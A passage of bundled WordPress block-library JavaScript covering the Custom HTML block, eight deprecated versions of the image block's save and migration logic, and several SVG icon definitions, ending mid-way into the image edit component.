22411const html_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/html","title":"Custom HTML","category":"widgets","description":"Add custom HTML code and preview it as you edit.","keywords":["embed"],"textdomain":"default","attributes":{"content":{"type":"string","source":"raw","role":"content"}},"supports":{"customClassName":false,"className":false,"html":false,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-html-editor"}');
22412;// ./node_modules/@wordpress/block-library/build-module/html/save.js
22413
22414
22415function html_save_save({ attributes }) {
22416 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: attributes.content });
22417}
22418
22419
22420;// ./node_modules/@wordpress/block-library/build-module/html/transforms.js
22421
22422
22423const html_transforms_transforms = {
22424 from: [
22425 {
22426 type: "block",
22427 blocks: ["core/code"],
22428 transform: ({ content: html }) => {
22429 return (0,external_wp_blocks_namespaceObject.createBlock)("core/html", {
22430 // The code block may output HTML formatting, so convert it
22431 // to plain text.
22432 content: (0,external_wp_richText_namespaceObject.create)({ html }).text
22433 });
22434 }
22435 }
22436 ]
22437};
22438var html_transforms_transforms_default = html_transforms_transforms;
22439
22440
22441;// ./node_modules/@wordpress/block-library/build-module/html/index.js
22442
22443
22444
22445
22446
22447
22448
22449const { name: html_name } = html_block_namespaceObject;
22450const html_settings = {
22451 icon: html_default,
22452 example: {
22453 attributes: {
22454 content: "<marquee>" + (0,external_wp_i18n_namespaceObject.__)("Welcome to the wonderful world of blocks\u2026") + "</marquee>"
22455 }
22456 },
22457 edit: HTMLEdit,
22458 save: html_save_save,
22459 transforms: html_transforms_transforms_default
22460};
22461const html_init = () => initBlock({ name: html_name, metadata: html_block_namespaceObject, settings: html_settings });
22462
22463
22464;// ./node_modules/@wordpress/block-library/build-module/image/deprecated.js
22465
22466
22467
22468const image_deprecated_v1 = {
22469 attributes: {
22470 url: {
22471 type: "string",
22472 source: "attribute",
22473 selector: "img",
22474 attribute: "src"
22475 },
22476 alt: {
22477 type: "string",
22478 source: "attribute",
22479 selector: "img",
22480 attribute: "alt",
22481 default: ""
22482 },
22483 caption: {
22484 type: "array",
22485 source: "children",
22486 selector: "figcaption"
22487 },
22488 href: {
22489 type: "string",
22490 source: "attribute",
22491 selector: "a",
22492 attribute: "href"
22493 },
22494 id: {
22495 type: "number"
22496 },
22497 align: {
22498 type: "string"
22499 },
22500 width: {
22501 type: "number"
22502 },
22503 height: {
22504 type: "number"
22505 }
22506 },
22507 save({ attributes }) {
22508 const { url, alt, caption, align, href, width, height } = attributes;
22509 const extraImageProps = width || height ? { width, height } : {};
22510 const image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { src: url, alt, ...extraImageProps });
22511 let figureStyle = {};
22512 if (width) {
22513 figureStyle = { width };
22514 } else if (align === "left" || align === "right") {
22515 figureStyle = { maxWidth: "50%" };
22516 }
22517 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22518 "figure",
22519 {
22520 className: align ? `align${align}` : null,
22521 style: figureStyle,
22522 children: [
22523 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href, children: image }) : image,
22524 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
22525 ]
22526 }
22527 );
22528 }
22529};
22530const image_deprecated_v2 = {
22531 attributes: {
22532 url: {
22533 type: "string",
22534 source: "attribute",
22535 selector: "img",
22536 attribute: "src"
22537 },
22538 alt: {
22539 type: "string",
22540 source: "attribute",
22541 selector: "img",
22542 attribute: "alt",
22543 default: ""
22544 },
22545 caption: {
22546 type: "array",
22547 source: "children",
22548 selector: "figcaption"
22549 },
22550 href: {
22551 type: "string",
22552 source: "attribute",
22553 selector: "a",
22554 attribute: "href"
22555 },
22556 id: {
22557 type: "number"
22558 },
22559 align: {
22560 type: "string"
22561 },
22562 width: {
22563 type: "number"
22564 },
22565 height: {
22566 type: "number"
22567 }
22568 },
22569 save({ attributes }) {
22570 const { url, alt, caption, align, href, width, height, id } = attributes;
22571 const image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22572 "img",
22573 {
22574 src: url,
22575 alt,
22576 className: id ? `wp-image-${id}` : null,
22577 width,
22578 height
22579 }
22580 );
22581 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { className: align ? `align${align}` : null, children: [
22582 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href, children: image }) : image,
22583 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
22584 ] });
22585 }
22586};
22587const image_deprecated_v3 = {
22588 attributes: {
22589 url: {
22590 type: "string",
22591 source: "attribute",
22592 selector: "img",
22593 attribute: "src"
22594 },
22595 alt: {
22596 type: "string",
22597 source: "attribute",
22598 selector: "img",
22599 attribute: "alt",
22600 default: ""
22601 },
22602 caption: {
22603 type: "array",
22604 source: "children",
22605 selector: "figcaption"
22606 },
22607 href: {
22608 type: "string",
22609 source: "attribute",
22610 selector: "figure > a",
22611 attribute: "href"
22612 },
22613 id: {
22614 type: "number"
22615 },
22616 align: {
22617 type: "string"
22618 },
22619 width: {
22620 type: "number"
22621 },
22622 height: {
22623 type: "number"
22624 },
22625 linkDestination: {
22626 type: "string",
22627 default: "none"
22628 }
22629 },
22630 save({ attributes }) {
22631 const { url, alt, caption, align, href, width, height, id } = attributes;
22632 const classes = dist_clsx({
22633 [`align${align}`]: align,
22634 "is-resized": width || height
22635 });
22636 const image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22637 "img",
22638 {
22639 src: url,
22640 alt,
22641 className: id ? `wp-image-${id}` : null,
22642 width,
22643 height
22644 }
22645 );
22646 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { className: classes, children: [
22647 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href, children: image }) : image,
22648 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
22649 ] });
22650 }
22651};
22652const image_deprecated_v4 = {
22653 attributes: {
22654 align: {
22655 type: "string"
22656 },
22657 url: {
22658 type: "string",
22659 source: "attribute",
22660 selector: "img",
22661 attribute: "src"
22662 },
22663 alt: {
22664 type: "string",
22665 source: "attribute",
22666 selector: "img",
22667 attribute: "alt",
22668 default: ""
22669 },
22670 caption: {
22671 type: "string",
22672 source: "html",
22673 selector: "figcaption"
22674 },
22675 title: {
22676 type: "string",
22677 source: "attribute",
22678 selector: "img",
22679 attribute: "title"
22680 },
22681 href: {
22682 type: "string",
22683 source: "attribute",
22684 selector: "figure > a",
22685 attribute: "href"
22686 },
22687 rel: {
22688 type: "string",
22689 source: "attribute",
22690 selector: "figure > a",
22691 attribute: "rel"
22692 },
22693 linkClass: {
22694 type: "string",
22695 source: "attribute",
22696 selector: "figure > a",
22697 attribute: "class"
22698 },
22699 id: {
22700 type: "number"
22701 },
22702 width: {
22703 type: "number"
22704 },
22705 height: {
22706 type: "number"
22707 },
22708 sizeSlug: {
22709 type: "string"
22710 },
22711 linkDestination: {
22712 type: "string"
22713 },
22714 linkTarget: {
22715 type: "string",
22716 source: "attribute",
22717 selector: "figure > a",
22718 attribute: "target"
22719 }
22720 },
22721 supports: {
22722 anchor: true
22723 },
22724 save({ attributes }) {
22725 const {
22726 url,
22727 alt,
22728 caption,
22729 align,
22730 href,
22731 rel,
22732 linkClass,
22733 width,
22734 height,
22735 id,
22736 linkTarget,
22737 sizeSlug,
22738 title
22739 } = attributes;
22740 const newRel = !rel ? void 0 : rel;
22741 const classes = dist_clsx({
22742 [`align${align}`]: align,
22743 [`size-${sizeSlug}`]: sizeSlug,
22744 "is-resized": width || height
22745 });
22746 const image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22747 "img",
22748 {
22749 src: url,
22750 alt,
22751 className: id ? `wp-image-${id}` : null,
22752 width,
22753 height,
22754 title
22755 }
22756 );
22757 const figure = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22758 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22759 "a",
22760 {
22761 className: linkClass,
22762 href,
22763 target: linkTarget,
22764 rel: newRel,
22765 children: image
22766 }
22767 ) : image,
22768 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
22769 ] });
22770 if ("left" === align || "right" === align || "center" === align) {
22771 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { className: classes, children: figure }) });
22772 }
22773 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes }), children: figure });
22774 }
22775};
22776const image_deprecated_v5 = {
22777 attributes: {
22778 align: {
22779 type: "string"
22780 },
22781 url: {
22782 type: "string",
22783 source: "attribute",
22784 selector: "img",
22785 attribute: "src"
22786 },
22787 alt: {
22788 type: "string",
22789 source: "attribute",
22790 selector: "img",
22791 attribute: "alt",
22792 default: ""
22793 },
22794 caption: {
22795 type: "string",
22796 source: "html",
22797 selector: "figcaption"
22798 },
22799 title: {
22800 type: "string",
22801 source: "attribute",
22802 selector: "img",
22803 attribute: "title"
22804 },
22805 href: {
22806 type: "string",
22807 source: "attribute",
22808 selector: "figure > a",
22809 attribute: "href"
22810 },
22811 rel: {
22812 type: "string",
22813 source: "attribute",
22814 selector: "figure > a",
22815 attribute: "rel"
22816 },
22817 linkClass: {
22818 type: "string",
22819 source: "attribute",
22820 selector: "figure > a",
22821 attribute: "class"
22822 },
22823 id: {
22824 type: "number"
22825 },
22826 width: {
22827 type: "number"
22828 },
22829 height: {
22830 type: "number"
22831 },
22832 sizeSlug: {
22833 type: "string"
22834 },
22835 linkDestination: {
22836 type: "string"
22837 },
22838 linkTarget: {
22839 type: "string",
22840 source: "attribute",
22841 selector: "figure > a",
22842 attribute: "target"
22843 }
22844 },
22845 supports: {
22846 anchor: true,
22847 color: {
22848 __experimentalDuotone: "img",
22849 text: false,
22850 background: false
22851 },
22852 __experimentalBorder: {
22853 radius: true,
22854 __experimentalDefaultControls: {
22855 radius: true
22856 }
22857 },
22858 __experimentalStyle: {
22859 spacing: {
22860 margin: "0 0 1em 0"
22861 }
22862 }
22863 },
22864 save({ attributes }) {
22865 const {
22866 url,
22867 alt,
22868 caption,
22869 align,
22870 href,
22871 rel,
22872 linkClass,
22873 width,
22874 height,
22875 id,
22876 linkTarget,
22877 sizeSlug,
22878 title
22879 } = attributes;
22880 const newRel = !rel ? void 0 : rel;
22881 const classes = dist_clsx({
22882 [`align${align}`]: align,
22883 [`size-${sizeSlug}`]: sizeSlug,
22884 "is-resized": width || height
22885 });
22886 const image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22887 "img",
22888 {
22889 src: url,
22890 alt,
22891 className: id ? `wp-image-${id}` : null,
22892 width,
22893 height,
22894 title
22895 }
22896 );
22897 const figure = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22898 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22899 "a",
22900 {
22901 className: linkClass,
22902 href,
22903 target: linkTarget,
22904 rel: newRel,
22905 children: image
22906 }
22907 ) : image,
22908 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
22909 ] });
22910 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes }), children: figure });
22911 }
22912};
22913const image_deprecated_v6 = {
22914 attributes: {
22915 align: {
22916 type: "string"
22917 },
22918 url: {
22919 type: "string",
22920 source: "attribute",
22921 selector: "img",
22922 attribute: "src",
22923 role: "content"
22924 },
22925 alt: {
22926 type: "string",
22927 source: "attribute",
22928 selector: "img",
22929 attribute: "alt",
22930 default: "",
22931 role: "content"
22932 },
22933 caption: {
22934 type: "string",
22935 source: "html",
22936 selector: "figcaption",
22937 role: "content"
22938 },
22939 title: {
22940 type: "string",
22941 source: "attribute",
22942 selector: "img",
22943 attribute: "title",
22944 role: "content"
22945 },
22946 href: {
22947 type: "string",
22948 source: "attribute",
22949 selector: "figure > a",
22950 attribute: "href",
22951 role: "content"
22952 },
22953 rel: {
22954 type: "string",
22955 source: "attribute",
22956 selector: "figure > a",
22957 attribute: "rel"
22958 },
22959 linkClass: {
22960 type: "string",
22961 source: "attribute",
22962 selector: "figure > a",
22963 attribute: "class"
22964 },
22965 id: {
22966 type: "number",
22967 role: "content"
22968 },
22969 width: {
22970 type: "number"
22971 },
22972 height: {
22973 type: "number"
22974 },
22975 aspectRatio: {
22976 type: "string"
22977 },
22978 scale: {
22979 type: "string"
22980 },
22981 sizeSlug: {
22982 type: "string"
22983 },
22984 linkDestination: {
22985 type: "string"
22986 },
22987 linkTarget: {
22988 type: "string",
22989 source: "attribute",
22990 selector: "figure > a",
22991 attribute: "target"
22992 }
22993 },
22994 supports: {
22995 anchor: true,
22996 color: {
22997 text: false,
22998 background: false
22999 },
23000 filter: {
23001 duotone: true
23002 },
23003 __experimentalBorder: {
23004 color: true,
23005 radius: true,
23006 width: true,
23007 __experimentalSkipSerialization: true,
23008 __experimentalDefaultControls: {
23009 color: true,
23010 radius: true,
23011 width: true
23012 }
23013 }
23014 },
23015 migrate(attributes) {
23016 const { height, width } = attributes;
23017 return {
23018 ...attributes,
23019 width: typeof width === "number" ? `${width}px` : width,
23020 height: typeof height === "number" ? `${height}px` : height
23021 };
23022 },
23023 save({ attributes }) {
23024 const {
23025 url,
23026 alt,
23027 caption,
23028 align,
23029 href,
23030 rel,
23031 linkClass,
23032 width,
23033 height,
23034 aspectRatio,
23035 scale,
23036 id,
23037 linkTarget,
23038 sizeSlug,
23039 title
23040 } = attributes;
23041 const newRel = !rel ? void 0 : rel;
23042 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
23043 const classes = dist_clsx({
23044 [`align${align}`]: align,
23045 [`size-${sizeSlug}`]: sizeSlug,
23046 "is-resized": width || height,
23047 "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
23048 });
23049 const imageClasses = dist_clsx(borderProps.className, {
23050 [`wp-image-${id}`]: !!id
23051 });
23052 const image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23053 "img",
23054 {
23055 src: url,
23056 alt,
23057 className: imageClasses || void 0,
23058 style: {
23059 ...borderProps.style,
23060 aspectRatio,
23061 objectFit: scale
23062 },
23063 width,
23064 height,
23065 title
23066 }
23067 );
23068 const figure = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23069 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23070 "a",
23071 {
23072 className: linkClass,
23073 href,
23074 target: linkTarget,
23075 rel: newRel,
23076 children: image
23077 }
23078 ) : image,
23079 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23080 external_wp_blockEditor_namespaceObject.RichText.Content,
23081 {
23082 className: (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)(
23083 "caption"
23084 ),
23085 tagName: "figcaption",
23086 value: caption
23087 }
23088 )
23089 ] });
23090 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes }), children: figure });
23091 }
23092};
23093const image_deprecated_v7 = {
23094 attributes: {
23095 align: {
23096 type: "string"
23097 },
23098 url: {
23099 type: "string",
23100 source: "attribute",
23101 selector: "img",
23102 attribute: "src",
23103 role: "content"
23104 },
23105 alt: {
23106 type: "string",
23107 source: "attribute",
23108 selector: "img",
23109 attribute: "alt",
23110 default: "",
23111 role: "content"
23112 },
23113 caption: {
23114 type: "string",
23115 source: "html",
23116 selector: "figcaption",
23117 role: "content"
23118 },
23119 title: {
23120 type: "string",
23121 source: "attribute",
23122 selector: "img",
23123 attribute: "title",
23124 role: "content"
23125 },
23126 href: {
23127 type: "string",
23128 source: "attribute",
23129 selector: "figure > a",
23130 attribute: "href",
23131 role: "content"
23132 },
23133 rel: {
23134 type: "string",
23135 source: "attribute",
23136 selector: "figure > a",
23137 attribute: "rel"
23138 },
23139 linkClass: {
23140 type: "string",
23141 source: "attribute",
23142 selector: "figure > a",
23143 attribute: "class"
23144 },
23145 id: {
23146 type: "number",
23147 role: "content"
23148 },
23149 width: {
23150 type: "number"
23151 },
23152 height: {
23153 type: "number"
23154 },
23155 aspectRatio: {
23156 type: "string"
23157 },
23158 scale: {
23159 type: "string"
23160 },
23161 sizeSlug: {
23162 type: "string"
23163 },
23164 linkDestination: {
23165 type: "string"
23166 },
23167 linkTarget: {
23168 type: "string",
23169 source: "attribute",
23170 selector: "figure > a",
23171 attribute: "target"
23172 }
23173 },
23174 supports: {
23175 anchor: true,
23176 color: {
23177 text: false,
23178 background: false
23179 },
23180 filter: {
23181 duotone: true
23182 },
23183 __experimentalBorder: {
23184 color: true,
23185 radius: true,
23186 width: true,
23187 __experimentalSkipSerialization: true,
23188 __experimentalDefaultControls: {
23189 color: true,
23190 radius: true,
23191 width: true
23192 }
23193 }
23194 },
23195 migrate({ width, height, ...attributes }) {
23196 return {
23197 ...attributes,
23198 width: `${width}px`,
23199 height: `${height}px`
23200 };
23201 },
23202 save({ attributes }) {
23203 const {
23204 url,
23205 alt,
23206 caption,
23207 align,
23208 href,
23209 rel,
23210 linkClass,
23211 width,
23212 height,
23213 aspectRatio,
23214 scale,
23215 id,
23216 linkTarget,
23217 sizeSlug,
23218 title
23219 } = attributes;
23220 const newRel = !rel ? void 0 : rel;
23221 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
23222 const classes = dist_clsx({
23223 [`align${align}`]: align,
23224 [`size-${sizeSlug}`]: sizeSlug,
23225 "is-resized": width || height,
23226 "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
23227 });
23228 const imageClasses = dist_clsx(borderProps.className, {
23229 [`wp-image-${id}`]: !!id
23230 });
23231 const image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23232 "img",
23233 {
23234 src: url,
23235 alt,
23236 className: imageClasses || void 0,
23237 style: {
23238 ...borderProps.style,
23239 aspectRatio,
23240 objectFit: scale,
23241 width,
23242 height
23243 },
23244 width,
23245 height,
23246 title
23247 }
23248 );
23249 const figure = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23250 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23251 "a",
23252 {
23253 className: linkClass,
23254 href,
23255 target: linkTarget,
23256 rel: newRel,
23257 children: image
23258 }
23259 ) : image,
23260 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23261 external_wp_blockEditor_namespaceObject.RichText.Content,
23262 {
23263 className: (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)(
23264 "caption"
23265 ),
23266 tagName: "figcaption",
23267 value: caption
23268 }
23269 )
23270 ] });
23271 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes }), children: figure });
23272 }
23273};
23274const deprecated_v8 = {
23275 attributes: {
23276 align: {
23277 type: "string"
23278 },
23279 behaviors: {
23280 type: "object"
23281 },
23282 url: {
23283 type: "string",
23284 source: "attribute",
23285 selector: "img",
23286 attribute: "src",
23287 role: "content"
23288 },
23289 alt: {
23290 type: "string",
23291 source: "attribute",
23292 selector: "img",
23293 attribute: "alt",
23294 default: "",
23295 role: "content"
23296 },
23297 caption: {
23298 type: "string",
23299 source: "html",
23300 selector: "figcaption",
23301 role: "content"
23302 },
23303 title: {
23304 type: "string",
23305 source: "attribute",
23306 selector: "img",
23307 attribute: "title",
23308 role: "content"
23309 },
23310 href: {
23311 type: "string",
23312 source: "attribute",
23313 selector: "figure > a",
23314 attribute: "href",
23315 role: "content"
23316 },
23317 rel: {
23318 type: "string",
23319 source: "attribute",
23320 selector: "figure > a",
23321 attribute: "rel"
23322 },
23323 linkClass: {
23324 type: "string",
23325 source: "attribute",
23326 selector: "figure > a",
23327 attribute: "class"
23328 },
23329 id: {
23330 type: "number",
23331 role: "content"
23332 },
23333 width: {
23334 type: "string"
23335 },
23336 height: {
23337 type: "string"
23338 },
23339 aspectRatio: {
23340 type: "string"
23341 },
23342 scale: {
23343 type: "string"
23344 },
23345 sizeSlug: {
23346 type: "string"
23347 },
23348 linkDestination: {
23349 type: "string"
23350 },
23351 linkTarget: {
23352 type: "string",
23353 source: "attribute",
23354 selector: "figure > a",
23355 attribute: "target"
23356 }
23357 },
23358 supports: {
23359 anchor: true,
23360 color: {
23361 text: false,
23362 background: false
23363 },
23364 filter: {
23365 duotone: true
23366 },
23367 __experimentalBorder: {
23368 color: true,
23369 radius: true,
23370 width: true,
23371 __experimentalSkipSerialization: true,
23372 __experimentalDefaultControls: {
23373 color: true,
23374 radius: true,
23375 width: true
23376 }
23377 }
23378 },
23379 migrate({ width, height, ...attributes }) {
23380 if (!attributes.behaviors?.lightbox) {
23381 return attributes;
23382 }
23383 const {
23384 behaviors: {
23385 lightbox: { enabled }
23386 }
23387 } = attributes;
23388 const newAttributes = {
23389 ...attributes,
23390 lightbox: {
23391 enabled
23392 }
23393 };
23394 delete newAttributes.behaviors;
23395 return newAttributes;
23396 },
23397 isEligible(attributes) {
23398 return !!attributes.behaviors;
23399 },
23400 save({ attributes }) {
23401 const {
23402 url,
23403 alt,
23404 caption,
23405 align,
23406 href,
23407 rel,
23408 linkClass,
23409 width,
23410 height,
23411 aspectRatio,
23412 scale,
23413 id,
23414 linkTarget,
23415 sizeSlug,
23416 title
23417 } = attributes;
23418 const newRel = !rel ? void 0 : rel;
23419 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
23420 const classes = dist_clsx({
23421 [`align${align}`]: align,
23422 [`size-${sizeSlug}`]: sizeSlug,
23423 "is-resized": width || height,
23424 "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
23425 });
23426 const imageClasses = dist_clsx(borderProps.className, {
23427 [`wp-image-${id}`]: !!id
23428 });
23429 const image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23430 "img",
23431 {
23432 src: url,
23433 alt,
23434 className: imageClasses || void 0,
23435 style: {
23436 ...borderProps.style,
23437 aspectRatio,
23438 objectFit: scale,
23439 width,
23440 height
23441 },
23442 title
23443 }
23444 );
23445 const figure = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23446 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23447 "a",
23448 {
23449 className: linkClass,
23450 href,
23451 target: linkTarget,
23452 rel: newRel,
23453 children: image
23454 }
23455 ) : image,
23456 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23457 external_wp_blockEditor_namespaceObject.RichText.Content,
23458 {
23459 className: (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)(
23460 "caption"
23461 ),
23462 tagName: "figcaption",
23463 value: caption
23464 }
23465 )
23466 ] });
23467 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes }), children: figure });
23468 }
23469};
23470var image_deprecated_deprecated_default = [deprecated_v8, image_deprecated_v7, image_deprecated_v6, image_deprecated_v5, image_deprecated_v4, image_deprecated_v3, image_deprecated_v2, image_deprecated_v1];
23471
23472
23473;// ./node_modules/@wordpress/icons/build-module/library/plugins.js
23474
23475
23476var plugins_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z" }) });
23477
23478
23479;// ./node_modules/@wordpress/icons/build-module/library/chevron-down.js
23480
23481
23482var chevron_down_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z" }) });
23483
23484
23485;// ./node_modules/@wordpress/icons/build-module/library/crop.js
23486
23487
23488var crop_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 20v-2h2v-1.5H7.75a.25.25 0 0 1-.25-.25V4H6v2H4v1.5h2v8.75c0 .966.784 1.75 1.75 1.75h8.75v2H18ZM9.273 7.5h6.977a.25.25 0 0 1 .25.25v6.977H18V7.75A1.75 1.75 0 0 0 16.25 6H9.273v1.5Z" }) });
23489
23490
23491;// ./node_modules/@wordpress/icons/build-module/library/overlay-text.js
23492
23493
23494var overlay_text_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12-9.8c.4 0 .8-.3.9-.7l1.1-3h3.6l.5 1.7h1.9L13 9h-2.2l-3.4 9.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12H20V6c0-1.1-.9-2-2-2zm-6 7l1.4 3.9h-2.7L12 11z" }) });
23495
23496
23497;// ./node_modules/@wordpress/icons/build-module/library/upload.js
23498
23499
23500var upload_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z" }) });
23501
23502
23503;// ./node_modules/@wordpress/block-library/build-module/image/image.js
23504
23505
23506
23507
23508
23509
23510
23511
23512
23513
23514
23515
23516
23517
23518
23519
23520
23521
23522
23523
23524const { DimensionsTool, ResolutionTool: image_ResolutionTool } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
23525const scaleOptions = [
23526 {
23527 value: "cover",
23528 label: (0,external_wp_i18n_namespaceObject._x)("Cover", "Scale option for dimensions control"),
23529 help: (0,external_wp_i18n_namespaceObject.__)("Image covers the space evenly.")
23530 },
23531 {
23532 value: "contain",
23533 label: (0,external_wp_i18n_namespaceObject._x)("Contain", "Scale option for dimensions control"),
23534 help: (0,external_wp_i18n_namespaceObject.__)("Image is contained without distortion.")
23535 }
23536];
23537const WRITEMODE_POPOVER_PROPS = {
23538 placement: "bottom-start"
23539};
23540const ImageWrapper = ({ href, children }) => {
23541 if (!href) {
23542 return children;
23543 }
23544 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23545 "a",
23546 {
